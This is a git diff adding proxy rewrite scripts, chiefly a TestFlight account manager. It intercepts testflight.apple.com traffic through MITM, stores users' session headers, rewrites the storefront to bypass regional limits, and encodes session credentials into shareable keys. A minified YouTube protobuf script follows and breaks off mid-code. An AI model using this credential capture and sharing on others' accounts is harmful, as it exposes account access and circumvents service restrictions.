this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/Scripts/TestFlight/TestFlightAccount.js b/Scripts/TestFlight/TestFlightAccount.js new file mode 100644 index 00000000..2cd05a0f --- /dev/null +++ b/Scripts/TestFlight/TestFlightAccount.js @@ -0,0 +1,292 @@ +/******************************** +TestFlight账户管理脚本 + +脚本作者: @NobyDa +脚本兼容: Surge4、QuantumultX、Loon(2.1.20 413+) +更新时间: 2024/02/23 +主要功能: +1. 自动存储多个TestFlight账户,并自动合并APP列表,避免切换账户。 + +2. 账户内单个测试版APP允许多方共享: + - 导出:点击测试版APP -> 底部开发者许可协议 -> 复制密钥并分享给对方 + - 导入:TestFlight 右上角"兑换" -> 粘贴密钥 -> 弹出保存成功通知后刷新APP列表 + - 多方共享为实验性功能,双方都需要使用该脚本; 该功能主要解决某些APP的TF名额稀缺的问题 + +请注意,该脚本已经与"TF区域限制解除脚本"合并,如需使用该脚本请务必禁用它,否则可能出现APP安装异常 + +********************************* +Surge4 添加脚本: +********************************* + +Surge模块地址: +https://raw.githubusercontent.com/NobyDa/Script/master/Surge/Module/TestFlightAccount.sgmodule + + +********************************* +QuantumultX 添加脚本: +********************************* + +QuantumultX重写引用地址: +https://raw.githubusercontent.com/NobyDa/Script/master/TestFlight/TestFlightAccount.js + +注:以上引用地址需要打开并使用KOP-XIAO资源解析器,如没有解析器请使用脚本配置: + +[rewrite_local] +^https:\/\/testflight\.apple\.com\/v\d\/(app|account|invite)s\/ url script-analyze-echo-response https://raw.githubusercontent.com/NobyDa/Script/master/TestFlight/TestFlightAccount.js + +[mitm] +hostname = testflight.apple.com + +********************************* +Loon 添加脚本: +********************************* + +Loon插件地址: +https://raw.githubusercontent.com/NobyDa/Script/master/Loon/Loon_TF_Account.plugin + +*********************************/ + +const $ = API("TESTFLIGHT-ACCOUNT"); +$.env.isNode ? $request = $.read('Request') : null; +const [arr, obj, req, rsp] = [[], new Map(), $request, {}]; +const [k1, k2, k3] = ['x-session-id', 'x-request-id', 'x-session-digest']; +const [list, appList] = [$.read('AccountList') || {}, $.read('AppList') || {}]; +$.debug = $.read('Debug') === 'true'; + +runs() + .catch(e => $.error(e.error || e.message || e)) + .finally(() => { + const ret = { + ...{ + status: 200, + headers: { + 'Content-Type': 'application/json' + }, + body: '{}' + }, + ...rsp + }; + ret.headers = formatHeaders(ret.headers); //compatible with HTTP/2 + ret.status = $.env.isQX ? `HTTP/1.1 ${ret.status}` : ret.status; + delete ret.headers['content-length']; + delete ret.headers['transfer-encoding']; //prevent issues in qx + $.log(`Return to client: ${$.stringify(ret)}`); + $.done($.env.isQX ? ret : { + response: ret + }) + }); + +async function runs() { + // Object.keys(list).map(a => delete list[a].only) + req.headers = formatHeaders(req.headers); //compatible with HTTP/2 + const appID = req.url.split(/\/apps\/(\d+)/)[1]; + const build = req.url.split(/\/builds\/(\d+)/)[1]; + const other = /\/(accept|withdraw|devices|session|notifications|status)/.test(req.url); + if (/accounts\/[a-z0-9-]{36}\/apps$/.test(req.url)) { + const acc = SaveAccount(req.url.split(/\/([a-z0-9-]{36})\//)[1]); + const all = await Promise.all(Object.keys(acc).map(QueryAppList)); + const out = arr.filter(r => !r.previouslyTested && !obj.has(r.appAdamId) && obj.set(r.appAdamId, 1)); + $.log(`Final app: ${$.stringify(out.map(i => i.name))}`); + if (out.length) { + rsp.body = $.stringify({ + data: out, + error: null + }); + $.write(out.reduce((l, v) => (l[v.appAdamId] = v.aid, l), {}), 'AppList'); + } + } else if (/\/install$/.test(req.url) && req.body) { + req.body = JSON.parse(req.body); + req.body.storefrontId = '143441-19,29'; //prevent regional restrictions + req.body = $.stringify(req.body); + } else if (/\d+\/eula$/.test(req.url)) { + rsp.body = $.stringify(ShareAccount(appID, build)); + } else if (/\/[A-Z]{200,}\/redeem$/.test(req.url)) { + rsp.body = ExternalAccount(req.url.split(/\/([A-Z]+)\/redeem$/)[1]); + } + if (!rsp.body) { + await QueryFallback(!other && appList[appID]); + } +} + +function SaveAccount(id, part, o) { + if (!list[id]) { + list[id] = {}; + const text = `Account ID "${id}" saved. (total ${Object.keys(list).length}) 🎉`; + $.notify('TestFlight Account', '', text); + $.info(text); + }; + list[id][k1] = (part || req.headers)[k1]; + list[id][k2] = (part || req.headers)[k2]; + list[id][k3] = (part || req.headers)[k3]; + if (o) { + if (list[id].only) { + list[id].only.push(o); + $.notify('TestFlight Account', '', `App ID "${o}" saved 🎉`); + } else { + list[id].only = [o]; + } + } + return $.write(list, 'AccountList'), list; +} + +function formatHeaders(h) { + return Object.keys(h).reduce((t, i) => (t[i.toLowerCase()] = h[i], t), {}) +} + +function ChangeHeaders(id) { + const re = JSON.parse(JSON.stringify(req)); //easy deep copy + re.timeout = 30; + if (id) { + $.log(`Request header replaced, using "${id}"`); + re.headers[k1] = list[id][k1]; + re.headers[k2] = list[id][k2]; + re.headers[k3] = list[id][k3]; + re.url = re.url.replace(/\/[a-z0-9-]{36}\//, `/${id}/`); + } + if ($.env.isShadowrocket) { + re.proxy = false; //prevent shadowrocket infinite loop + } + delete re.headers['if-none-match']; //prevent 304 + delete re.headers['content-length']; + $.log(`Send request: ${$.stringify(re)}`); + return re; +} + +function QueryFallback(o) { + return $.http[req.method.toLowerCase()](ChangeHeaders(o)) + .then(r => { + $.log(`Received response: status=${r.statusCode}, body=${Boolean(r.body)}`); + [rsp.status, rsp.headers, rsp.body] = [r.statusCode, r.headers, r.body]; + if (/\/apps\/\d+\/builds\/\d+$/.test(req.url) && r.body) { //beta app page + r.body = JSON.parse(r.body); + r.body.data.builds.map(e => e.eula = `https://testflight.apple.com/v1/apps/${e.appAdamId}/builds/${e.id}/eula`); + rsp.body = $.stringify(r.body); + } + }) + .catch(e => $.error(`Response failed: ${e.error || e.message || e}`)) +} + +function QueryAppList(o) { + return $.http[req.method.toLowerCase()](ChangeHeaders(o)) + .then(r => { + const m = req.url.includes(o); + $.log(`Received response: status=${r.statusCode}, body=${Boolean(r.body)}, account=${o}, main=${m}`); + if (m) { + [rsp.status, rsp.headers, rsp.body] = [r.statusCode, r.headers, r.body]; + } + if (r.statusCode == 401) { + throw new Error('Key expires'); + } + const res = JSON.parse(r.body || '{}'); + $.log(`Account "${o}" app list: ${$.stringify((res.data || []).map(i => i.name))}`); + return (res.data || []).filter(i => (i.aid = o, !list[o].only || list[o].only.includes(String(i.appAdamId)))) + .map(p => arr[m ? 'unshift' : 'push'](p)) + }).catch(e => { //surge cannot get 401 in apple domain + if (/Key expires|NSURLErrorDomain.+?-1012/.test(e.error || e.message || e)) { + if (list[o].InvalidKey >= 2) { //prevent misjudgment + delete list[o]; + } else { + list[o].InvalidKey = (list[o].InvalidKey || 0) + 1; + } + $.write(list, 'AccountList'); + e = `key expired ⚠️`; + $.notify('TestFlight Account', '', `Account ID "${o}" ${e}`); + }; + $.error(`Account "${o}" response failed: ${e.error || e.message || e}`); + }) +} + +function ExternalAccount(key) { + try { + const k = JSON.parse(letterDecode(key)); + $.log(`Raw data: ${key}\nDecode data: ${$.stringify(k)}`); + if (!k.appID || !k.accID || !k.key[k1] || !k.key[k2] || !k.key[k3]) { + throw new Error('Missing data'); + } else if (appList[k.appID]) { + $.notify('TestFlight Account', '', `Failed, app already exists ⚠️`); + } else { + const save = SaveAccount(k.accID, k.key, k.appID); + } + } catch (e) { + const text = `External account parse failed`; + $.notify('TestFlight Account', '', `${text} ⚠️`); + $.error(`${text}: ${e.message || e}`); + } + return '{}' +} + +function ShareAccount(appID, bid) { + const raw = $.stringify({ + appID: appID, + accID: appList[appID], + key: list[appList[appID]] + }); + const key = letterEncode(raw); + const disclaimer = ` +请注意,使用"共享"功能时,请务必仔细阅读以下声明 ‼️ +请注意,使用"共享"功能时,请务必仔细阅读以下声明 ‼️ +请注意,使用"共享"功能时,请务必仔细阅读以下声明 ‼️ + +====================================== + +权限: +您即将共享的密钥理论上具有以下权限,包括但不限于: + + - 查看/下载您 TestFlight 账号内的任何测试版 APP + - 使用您的密钥接受测试 TestFlight 中的任何测试版 APP + - 停止测试您 TestFlight 账号内的任何测试版 APP + - 查看您接受 TestFlight 测试版 APP 邀请时所使用的邮箱 + - 查看/加入/移除您 TestFlight 账号中的设备列表 + - 更改您 TestFlight 测试版 APP 中的推送/电子邮件更新通知 + +免责: +任何用户使用"共享"功能时都应该仔细阅读权限声明,一旦您开始使用该功能,即视为您已知晓并理解密钥所具有的权限,密钥泄漏可能会导致不可预知的损失或损害,脚本作者(NobyDa)不对由此产生的任何后果负责。 + +====================================== + +该脚本在"默认"情况下,对方仅可查看/下载您共享的单个APP,但仍建议仅与您信任的人共享: + +`; + $.log(`Raw data: ${raw}\nEncode data: ${key}`); + return { + data: { + buildId: bid, + eula: disclaimer + key + }, + messages: null + } +} + +// private encode method, based on variant in RFC4648 +function letterEncode(e) { + e = e.split("").map(e => e.charCodeAt()); + const t = new Uint8Array(4 * Math.ceil(8 * e.length / 4)); + let n = 0; + for (const o of e) { + let e = 128; + for (let r = 0; r < 8; r++) t[n++] = o & e ? 1 : 0, e >>= 1 + } + let o = "", + r = 0; + return t.forEach((e, t) => { + r = r << 1 | e, (t + 1) % 4 == 0 && (o += "XKNWSPRMCTGZVDHF"[r], r = 0) + }), o +} + +function letterDecode(e) { + const t = new Uint8Array(4 * e.length); + let n = 0; + for (const o of e) { + const e = "XKNWSPRMCTGZVDHF".indexOf(o); + let r = 8; + for (let o = 0; o < 4; o++) t[n++] = e & r ? 1 : 0, r >>= 1 + } + const o = new Uint8Array(Math.floor(t.length / 8)); + return t.forEach((e, t) => { + const n = Math.floor(t / 8); + n < o.length && (o[n] = o[n] << 1 | e) + }), String.fromCharCode(...o) +} + +// https://github.com/Peng-YM/QuanX/tree/master/Tools/OpenAPI +function ENV() { const e = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: "undefined" != typeof $task, isLoon: "undefined" != typeof $loon, isSurge: "undefined" != typeof $httpClient && "undefined" == typeof $loon, isShadowrocket: "undefined" != typeof $Shadowrocket, isBrowser: "undefined" != typeof document, isNode: "function" == typeof require && !e, isJSBox: e, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP() { const { isQX: t, isLoon: s, isSurge: o, isScriptable: n, isNode: i, isBrowser: r } = ENV(), u = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/; const a = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(h => a[h.toLowerCase()] = (a => (function (a, h) { h = "string" == typeof h ? { url: h } : h; h.timeout && s && (h.timeout = h.timeout * 1000); let f, p; if (t) f = $task.fetch({ method: a, ...h }); else if (s || o || i) f = new Promise((e, t) => { (i ? require("request") : $httpClient)[a.toLowerCase()](h, (s, o, n) => { s ? t(s) : e({ statusCode: o.status || o.statusCode, headers: o.headers, body: n }) }) }); else if (n) { const e = new Request(h.url); e.method = a, e.headers = h.headers, e.body = h.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } else r && (f = new Promise((e, t) => { fetch(h.url, { method: a, headers: h.headers, body: h.body }).then(e => e.json()).then(t => e({ statusCode: t.status, headers: t.headers, body: t.data })).catch(t) })); return f })(h, a))), a } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: o, isSurge: n, isNode: i, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (i) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (o || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), i) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (o || n) && $persistentStore.write(e, this.name), i && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || o) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); i && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || o ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : i ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || o) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); i && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", a = "", h = {}) { const d = h["open-url"], l = h["media-url"]; if (s && $notify(e, t, a, h), n && $notification.post(e, t, a + `${l ? "\n多媒体:" + l : ""}`, { url: d }), o) { let s = {}; d && (s.openUrl = d), l && (s.mediaUrl = l), "{}" === JSON.stringify(s) ? $notification.post(e, t, a) : $notification.post(e, t, a, s) } if (i || u) { const s = a + (d ? `\n点击跳转: ${d}` : "") + (l ? `\n多媒体: ${l}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { s || o || n ? $done(e) : i && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } \ No newline at end of file diff --git a/Scripts/YouTube/request.js b/Scripts/YouTube/request.js new file mode 100644 index 00000000..60543fb0 --- /dev/null +++ b/Scripts/YouTube/request.js @@ -0,0 +1,3 @@ +// Author Maasea Build: 2023/12/14 22:12:09 +(()=>{(function(i){function e(){}function t(){}var r=String.fromCharCode,n={}.toString,s=n.call(i.SharedArrayBuffer),o=n(),a=i.Uint8Array,f=a||Array,l=a?ArrayBuffer:f,h=l.isView||function(b){return b&&"length"in b},y=n.call(l.prototype);l=t.prototype;var p=i.TextEncoder,c=new(a?Uint16Array:f)(32);e.prototype.decode=function(b){if(!h(b)){var A=n.call(b);if(A!==y&&A!==s&&A!==o)throw TypeError("Failed to execute 'decode' on 'TextDecoder': The provided value is not of type '(ArrayBuffer or ArrayBufferView)'");b=a?new f(b):b||[]}for(var N=A="",d=0,I=b.length|0,G=I-32|0,B,x,E=0,J=0,V,U=0,D=-1;d>4){case 15:if(V=b[d=d+1|0]&255,V>>6!==2||247>6===2?J+4|0:24,x=x+256&768;case 13:case 12:V=b[d=d+1|0]&255,E<<=6,E|=(x&31)<<6|V&63,J=J+7|0,d>6===2&&E>>J&&1114112>E?(x=E,E=E-65536|0,0<=E&&(D=(E>>10)+55296|0,x=(E&1023)+56320|0,31>U?(c[U]=D,U=U+1|0,D=-1):(V=D,D=x,x=V))):(x>>=8,d=d-x-1|0,x=65533),E=J=0,B=d<=G?32:I-d|0;default:c[U]=x;continue;case 11:case 10:case 9:case 8:}c[U]=65533}if(N+=r(c[0],c[1],c[2],c[3],c[4],c[5],c[6],c[7],c[8],c[9],c[10],c[11],c[12],c[13],c[14],c[15],c[16],c[17],c[18],c[19],c[20],c[21],c[22],c[23],c[24],c[25],c[26],c[27],c[28],c[29],c[30],c[31]),32>U&&(N=N.slice(0,U-32|0)),d>>31,D=-1,N.length=B)N[I]=B;else{if(2047>=B)N[I]=192|B>>6;else{e:{if(55296<=B)if(56319>=B){var x=b.charCodeAt(d=d+1|0)|0;if(56320<=x&&57343>=x){if(B=(B<<10)+x-56613888|0,65535>18,N[I=I+1|0]=128|B>>12&63,N[I=I+1|0]=128|B>>6&63,N[I=I+1|0]=128|B&63;continue}break e}B=65533}else 57343>=B&&(B=65533);!G&&d<<1>12,N[I=I+1|0]=128|B>>6&63}N[I=I+1|0]=128|B&63}}return a?N.subarray(0,I):N.slice(0,I)},p||(i.TextDecoder=e,i.TextEncoder=t)})(globalThis);function Z(i){let e=typeof i;if(e=="object"){if(Array.isArray(i))return"array";if(i===null)return"null"}return e}function Be(i){return i!==null&&typeof i=="object"&&!Array.isArray(i)}var L="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),z=[];for(let i=0;i>4,o=s,n=2;break;case 2:t[r++]=(o&15)<<4|(s&60)>>2,o=s,n=3;break;case 3:t[r++]=(o&3)<<6|s,n=0;break}}if(n==1)throw Error("invalid base64 string.");return t.subarray(0,r)}function Fe(i){let e="",t=0,r,n=0;for(let s=0;s>2],n=(r&3)<<4,t=1;break;case 1:e+=L[n|r>>4],n=(r&15)<<2,t=2;break;case 2:e+=L[n|r>>6],e+=L[r&63],t=0;break}return t&&(e+=L[n],e+="=",t==1&&(e+="=")),e}var O;(function(i){i.symbol=Symbol.for("protobuf-ts/unknown"),i.onRead=(t,r,n,s,o)=>{(e(r)?r[i.symbol]:r[i.symbol]=[]).push({no:n,wireType:s,data:o})},i.onWrite=(t,r,n)=>{for(let{no:s,wireType:o,data:a}of i.list(r))n.tag(s,o).raw(a)},i.list=(t,r)=>{if(e(t)){let n=t[i.symbol];return r?n.filter(s=>s.no==r):n}return[]},i.last=(t,r)=>i.list(t,r).slice(-1)[0];let e=t=>t&&Array.isArray(t[i.symbol])})(O||(O={}));var g;(function(i){i[i.Varint=0]="Varint",i[i.Bit64=1]="Bit64",i[i.LengthDelimited=2]="LengthDelimited",i[i.StartGroup=3]="StartGroup",i[i.EndGroup=4]="EndGroup",i[i.Bit32=5]="Bit32"})(g||(g={}));function Ee(){let i=0,e=0;for(let r=0;r<28;r+=7){let n=this.buf[this.pos++];if(i|=(n&127)<>4,!(t&128))return this.assertBounds(),[i,e];for(let r=3;r<=31;r+=7){let n=this.buf[this.pos++];if(e|=(n&127)<>>s,a=!(!(o>>>7)&&e==0),f=(a?o|128:o)&255;if(t.push(f),!a)return}let r=i>>>28&15|(e&7)<<4,n=!!(e>>3);if(t.push((n?r|128:r)&255),!!n){for(let s=3;s<31;s=s+7){let o=e>>>s,a=!!(o>>>7),f=(a?o|128:o)&255;if(t.push(f),!a)return}t.push(e>>>31&1)}}var Q=(1<<16)*(1<<16);function de(i){let e=i[0]=="-";e&&(i=i.slice(1));let t=1e6,r=0,n=0;function s(o,a){let f=Number(i.slice(o,a));n*=t,r=r*t+f,r>=Q&&(n=n+(r/Q|0),r=r%Q)}return s(-24,-18),s(-18,-12),s(-12,-6),s(-6),[e,r,n]}function ee(i,e){if(e<=2097151)return""+(Q*e+(i>>>0));let t=i&16777215,r=(i>>>24|e<<8)>>>0&16777215,n=e>>16&65535,s=t+r*6777216+n*6710656,o=r+n*8147497,a=n*2,f=1e7;s>=f&&(o+=Math.floor(s/f),s%=f),o>=f&&(a+=Math.floor(o/f),o%=f);function l(h,y){let p=h?String(h):"";return y?"0000000".slice(p.length)+p:p}return l(a,0)+l(o,a)+l(s,1)}function me(i,e){if(i>=0){for(;i>127;)e.push(i&127|128),i=i>>>7;e.push(i)}else{for(let t=0;t<9;t++)e.push(i&127|128),i=i>>7;e.push(1)}}function Re(){let i=this.buf[this.pos++],e=i&127;if(!(i&128))return this.assertBounds(),e;if(i=this.buf[this.pos++],e|=(i&127)<<7,!(i&128))return this.assertBounds(),e;if(i=this.buf[this.pos++],e|=(i&127)<<14,!(i&128))return this.assertBounds(),e;if(i=this.buf[this.pos++],e|=(i&127)<<21,!(i&128))return this.assertBounds(),e;i=this.buf[this.pos++],e|=(i&15)<<28;for(let t=5;i&128&&t<10;t++)i=this.buf[this.pos++];if(i&128)throw new Error("invalid varint");return this.assertBounds(),e>>>0}function _e(){let i=new DataView(new ArrayBuffer(8));return globalThis.BigInt!==void 0&&typeof i.getBigInt64=="function"&&typeof i.getBigUint64=="function"&&typeof i.setBigInt64=="function"&&typeof i.setBigUint64=="function"?{MIN:BigInt("-9223372036854775808"),MAX:BigInt("9223372036854775807"),UMIN:BigInt("0"),UMAX:BigInt("18446744073709551615"),C:BigInt,V:i}:void 0}var k=_e();function Ae(i){if(!i)throw new Error("BigInt unavailable, see https://github.com/timostamm/protobuf-ts/blob/v1.0.8/MANUAL.md#bigint-support")}var Se=/^-?[0-9]+$/,te=(1<<16)*(1<<16),re=class{constructor(e,t){this.lo=e|0,this.hi=t|0}isZero(){return this.lo==0&&this.hi==0}toNumber(){let e=this.hi*te+(this.lo>>>0);if(!Number.isSafeInteger(e))throw new Error("cannot convert to safe number");return e}},T=class extends re{static from(e){if(k)switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=="")throw new Error("string is no integer");e=k.C(e);case"number":if(e===0)return this.ZERO;e=k.C(e);case"bigint":if(!e)return this.ZERO;if(ek.UMAX)throw new Error("ulong too large");return k.V.setBigUint64(0,e,!0),new T(k.V.getInt32(0,!0),k.V.getInt32(4,!0))}else switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=e.trim(),!Se.test(e))throw new Error("string is no integer");let[t,r,n]=de(e);if(t)throw new Error("signed value");return new T(r,n);case"number":if(e==0)return this.ZERO;if(!Number.isSafeInteger(e))throw new Error("number is no integer");if(e<0)throw new Error("signed value for ulong");return new T(e,e/te)}throw new Error("unknown value "+typeof e)}toString(){return k?this.toBigInt().toString():ee(this.lo,this.hi)}toBigInt(){return Ae(k),k.V.setInt32(0,this.lo,!0),k.V.setInt32(4,this.hi,!0),k.V.getBigUint64(0,!0)}};T.ZERO=new T(0,0);var w=class extends re{static from(e){if(k)switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=="")throw new Error("string is no integer");e=k.C(e);case"number":if(e===0)return this.ZERO;e=k.C(e);case"bigint":if(!e)return this.ZERO;if(ek.MAX)throw new Error("ulong too large");return k.V.setBigInt64(0,e,!0),new w(k.V.getInt32(0,!0),k.V.getInt32(4,!0))}else switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=e.trim(),!Se.test(e))throw new Error("string is no integer");let[t,r,n]=de(e),s=new w(r,n);return t?s.negate():s;case"number":if(e==0)return 